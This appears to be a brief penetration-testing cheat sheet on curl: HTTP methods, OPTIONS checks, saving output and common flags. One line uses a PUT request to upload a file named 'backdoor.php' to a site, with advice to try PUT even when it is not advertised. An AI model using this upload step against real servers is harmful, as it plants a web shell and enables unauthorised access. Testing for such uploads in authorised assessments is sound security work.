curl -X GET https://www.google.com [-v]
HEAD: Only return headers of the response
OPTIONS: View the HTTP methods supported by the route
# The route should support PUT method
curl https://www.google.com --upload-file ~/scripts/backdoor.php
On some sites PUT method will not be specified in the output of OPTIONS
Always test to see if the method can be used
# Save results to file
curl https://www.google.com -o ~/google.html
Flags
-O
: Download Files
-L
: Follow Redirect
-v
: View request and handshake information
-I
: View Header only